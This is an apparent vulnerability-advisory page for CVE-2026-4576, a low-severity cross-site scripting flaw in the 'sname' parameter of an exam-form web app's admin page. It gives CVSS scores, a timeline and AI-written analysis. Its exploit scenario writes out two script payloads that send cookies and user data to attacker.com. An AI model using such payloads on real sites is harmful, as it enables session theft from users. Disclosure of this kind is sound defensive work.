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PHP CVE-2026-4576

| EUVD-2026-14369 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-03-23 VulDB
1.9
CVSS 4.0 · NVD

Severity by source

NVD PRIMARY
1.9 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
P
Scope
X

Lifecycle Timeline

8
Severity Changed
Apr 29, 2026 - 01:11 NVD
MEDIUM LOW
CVSS changed
Apr 29, 2026 - 01:11 NVD
4.8 (MEDIUM) 1.9 (LOW)
Severity Changed
Apr 24, 2026 - 16:37 NVD
LOW MEDIUM
CVSS changed
Apr 24, 2026 - 16:37 NVD
2.4 (LOW) 4.8 (MEDIUM)
PoC Detected
Mar 23, 2026 - 14:31 vuln.today
Public exploit code
EUVD ID Assigned
Mar 23, 2026 - 05:45 euvd
EUVD-2026-14369
Analysis Generated
Mar 23, 2026 - 05:45 vuln.today
CVE Published
Mar 23, 2026 - 05:36 nvd
LOW 2.4

DescriptionCVE.org

A vulnerability has been found in code-projects Exam Form Submission 1.0. Impacted is an unknown function of the file /admin/update_s5.php. Such manipulation of the argument sname leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.

AnalysisAI

A Stored or Reflected Cross-Site Scripting (XSS) vulnerability exists in code-projects Exam Form Submission version 1.0, specifically in the /admin/update_s5.php file where the 'sname' parameter is not properly sanitized. An authenticated attacker with high privileges can inject malicious JavaScript code through this parameter, which will execute in the context of other users' browsers when they interact with the affected page. …

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Vulnerability AssessmentAI

Risk Assessment While the CVSS 3.1 base score of 2.4 appears low, multiple contextual factors elevate real-world concern: the attack vector is Network (AV:N) with Low complexity (AC:L), meaning no special conditions are required for delivery; however, High privilege requirements (PR:H) and Required User Interaction (UI:R) significantly limit the threat. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker with administrative credentials (compromised account, insider threat, or social engineering) logs into the Exam Form Submission application and navigates to the update_s5.php admin function. They inject a malicious payload such as sname=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> or sname=<img src=x onerror="fetch('https://attacker.com/log?user='+document.currentUser)">. …
Remediation The primary remediation is to apply vendor patches when available from code-projects.org. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

During next maintenance window: Apply vendor patches when convenient. …

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CVE-2026-4576 vulnerability details – vuln.today

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